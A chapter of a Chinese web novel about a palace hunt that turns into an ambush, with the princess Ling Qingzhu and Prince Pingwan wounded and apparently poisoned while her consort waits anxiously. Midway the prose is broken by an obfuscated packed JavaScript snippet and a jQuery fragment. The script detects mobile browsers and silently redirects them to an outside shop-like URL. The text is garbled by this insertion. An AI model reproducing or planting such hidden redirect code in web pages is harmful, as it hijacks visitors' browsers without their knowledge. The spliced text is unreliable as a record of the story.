赵温书连面上最后一分血色也没了,死死抓着身旁九儿的手,似是想过去看看,却因无力动弹的双腿被困在原地。
“二殿下出事了!”
这句话喊出的一瞬间,周围骤然是死一般的寂静,下一刻所有人都慌了神,凌屏早已上前查看,确定那批赤白色马匹确实是凌卿竹的马。
身边嘈杂的让人烦躁,赵温书却掐着手心强迫让自己的情绪平复下来,压制心头的恐惧,叫九儿扶着自己进了那人群中去。
凌屏立刻下令道:“护卫军呢,赶快派人进去探查。”
众人纷纷都站在了凌屏的身旁,心知肯定不止凌卿竹一人遭遇了突发情况,若是有人埋伏,恐怕所有人都有可能遇害。
“千万不要出事啊……”
“就是狩猎比拼一次,怎么会遇到如此危险?”
“陛下,二殿下的马都成了这副模样,里面的人不会都已经——”
这一句无疑是让所有人的心头恐慌万分,他们本就不是什么临危不惧的人,此刻更加心急如焚起来。嘴里念叨个不停,甚至有人担心地亲自去看看,吵的凌屏也更是头疼。
“好了。”凌屏眉头一拧喝道,“孤知道各位都非常担心,但现在不能乱了阵脚,以防还有其他的埋伏。劳烦各位都坐回去吧,静心等待。”
赵温书死死盯着方才那匹马倒地的位置,那还有不少未干的鲜血,他无法想象凌卿竹现在的样子,更祈祷那不是凌卿竹的血。
紧张的情绪让赵温书手背上的伤口崩开了都没有意识到,还是青荷惊呼一声,他才松开紧攥的手,放在桌子上。
“侍君,我去拿伤药和布纱。”
赵温书看着九儿离开,任由青荷小心翼翼地拆开手上染血的布纱。他不停地安抚着自己焦躁的情绪,忍住想要跑进狩猎场的冲动。
不能叫妻主担心,也不能让妻主生气。
赵温书闭上眼,一双泛红的眼眶惹得鼻头酸涩不已,他哆嗦着吐了口气,却险些哽咽出声。
要乖乖等妻主回来。
妻主不会有事……妻主那般厉害,绝不会出事的……
他不停地自语说着,试图不要往坏的地方想,可奈何脑海中满是那匹快要断气的马匹,就是叫赵温书静不下心来。
蓦然之间,不远处似乎传来一声马鸣,赵温书顷刻间睁开眼看去,却对上了坐于马匹背上巴乾的眼眸。
“陛下,我会武术擅骑马,请命进入狩猎场内同护卫军一起。”巴乾看向凌屏,继续道:“我可自保,也能帮得上忙。”
凌屏本打算拒绝,却没想到巴乾只是通知,那一套说辞也仅仅客套而已。不等凌屏开口,巴乾已经一甩缰绳,只听座下马一声嘶吼,随即便飞驰而去。
进狩猎场之前,赵温书确定自己看见巴乾回头望了自己一眼。
仿佛带着几分嘲笑,亦或是得意。
赵温书猛地想起狩猎还未开始时,巴乾同自己说的那句无声言语,他现在总算是知道巴乾是什么意思了。
他面上一僵,骤然有几分失落怅惘涌上心头。
巴乾有能力在妻主危险的时候挺身而出并肩作战,而他却没有资格冲进去为妻主做一件事,只能在外焦急等待,最多祈祷不停,请上天保佑平安……
发觉这个念头严重影响自己的时候,赵温书眉头紧锁起来,叱骂自己几句,赶忙抛开这些无用的杂念。
妻主情况未知,他尽在胡思乱想些什么东西,自己真是越发没有规矩了。
*
冒着生命危险让马受惊跑出去后,凌卿竹咬着牙用扯下的衣裳布条缠好已经被鲜血染红的左臂,颇是狼狈地藏在一块高石之下,闭着眸喘息。
凌卿竹身上大大小小都有划伤,但手臂上是乃是被长剑刺穿的伤口,若是及时不做处理,更容易命丧于此。
竭力控制着自己呼吸的声音,凌卿竹警觉着周围的一切风吹草动,听见有脚步声便立即抽出随身携带的匕首,侧着身随时准备捅上来人。
待那人弓着身子来到自己面前,凌卿竹才松了口气,躺回原位抬手擦掉自己脸颊上的泥污血水,嗓音沙哑非常地询问道:“可是跑了?”
向瑾面色阴沉地点了点头,“这已经不知是狩猎场何处,倘若你我二人现在出去,很有可能再中埋伏。”
“边境……”凌卿竹嗓口如含了煤炭一般发烫干涩,说话费劲不已,“这是狩猎场边缘,但吾分不清是哪个方向。”
狩猎场很大,无论是在哪一角,他们距离出口都是尤其的远。想在这种情况下活着走出去,绝不可能。
凌卿竹眉头紧皱,想起方才遇到的数十个刺客,终归是有些意外和不解。
原主所在的那一生,这场狩猎比拼没有出过任何事情,怎么这次变了?
莫不是因为巴乾的计划不成,她殿内的所有眼线又都在那次清人中全部扫了出去,所以暗中的人被逼急了,要在这里杀了她?
若是如此,暗中的人到底是何等人物,能在戒备如此森严的狩猎场内动手脚?
也非常了解她会在看见那只梅花鹿时,就会毫不犹豫地跟上去射杀。
只可惜,向瑾被她牵连至此。两人一齐看见了梅花鹿,也自然全力以赴地争夺,才会如此轻易地落入圈套之中。
现如今她们两个无水无食还都受了伤,连三天怕是都撑不过去。
想到这里,凌卿竹叹息一声,“这些人,都是冲着吾来的——连累平婉王了。”
“不,”向瑾却侧躺在她身边,语气没什么波澜:“是争对本王的人,这是第二批了。”
凌卿竹心头一惊,“第二批?”
“上一次是本王出城解决洪水之事,在路上遭遇刺杀。”
“那平婉王可知是谁?”
“不知。本王前些日子查出宫中有问题,还未来得及深入探下去便遭到了第一回刺杀。那人很是谨慎,本王只是发觉了边角便被她发现并要灭口。上次的刺客都在被抓之前死绝了,本王甚至连一丝线索都没有发现。”
“母皇知道么?”凌卿竹沉默好半晌,看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499987|202687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向瑾那面上平淡的模样,心头不由得一沉。
向瑾意料之中地摇了摇头,却没说原因。
凌卿竹凤眸撇开,也没打算问,抬手用衣裳擦掉了臂上的鲜血,陡然意识到整个事件没有她想的那么简单。
刺眼的红已经渗入凌卿竹的指甲缝中,任凭她怎么擦都没办法去掉,只得放弃。凌卿竹扶着石头慢慢蹲起身子,抓住向瑾伸过来的手,点点头表以感谢。
两人都不曾言语,但很是默契地相互搀扶着,朝向任意一边走去。
冲着外圈大抵已经布下天罗地网的陷阱,她们两个就都知道这救兵是等不来了。
此次埋伏精准布局,坐等她们狩猎的人进来,就算马匹冲出狩猎场,也肯定是那批人故意将她的求助放出去,再等着凌屏派人、亦或者凌屏亲自进来,将其杀个措手不及。
倘若不是如此,那当凌卿竹送出马匹的时候,她和向瑾就该迎上万千冰刃了。
此时只能碰碰运气,看能不能找到什么出口。
唇上干裂的厉害,又是失了不少血的凌卿竹面色白如纸,一双冷峻的面庞此刻看起来更像是个索命的活阎王,便当然没了平日里十二分的警惕,只余下七八分,无意中踩上了盖着一层软泥松土的铁块。
她动作一滞,察觉耳边风动,“唰”的一声拔出匕首,侧过身咬着牙挥下,将那带着破风之势的弓箭硬生生给逼的远了一点,但还是危险至极地擦着凌卿竹的眼前而过。
但这变故却只是一瞬之惊,甚至消失的时候无声无息,良久都再无动静。
凌卿竹垂头看着自己脚下的东西,额前发丝挡住了她阴郁狠厉的眼眸。向瑾看了四周,抓稳着她道:“没有人,不是埋伏。”
正想答话,喉头忽地涌上阵阵腥甜,凌卿竹竟蓦然感觉到左臂上传来剥皮穿骨之痛,冷汗出了一背。疼的眸中也进了汗水,压下口中呼之欲出的难受,她闷声道:“动不得……是机关。”
脚下那铁块正是方才利箭飞出的机关。
方才说话无心咬破了舌尖,带着铁锈味的血珠充斥着凌卿竹的整个口腔中,她心头一阵怪异,来不及压制便是大口的鲜血吐出。
“卿竹!”向瑾下意识就伸手去扶她的脸,自然得了满手的血液。
凌卿竹连吐了好几口黑血才停了下来,好些时间都没缓过来。看着自己因伤染红的臂膀,凌卿竹拧着眉毛疑惑。
只是一剑,怎么会严重到如此地步?
没时间去想这些,凌卿竹回头看去,向瑾抓着自己的左手,面上痛苦到了极致,似乎正在和什么极大的苦楚作斗争。
“平婉王,”凌卿竹一开口便是含着血的难受,“你怎么了?”
向瑾的整个左手正迅速地泛起了青痕,从拇指的指腹一直向上延伸着的是一条红的骇人的细线,凌卿竹愣怔须臾,就如此看见向瑾的右手死死抓着左掌,指尖掐出一个个血痕来。
“平婉王?”凌卿竹伸手去拦,却被向瑾一把甩开,将那不对劲的手背过身后,沉声冲她喝道:“闭眼!”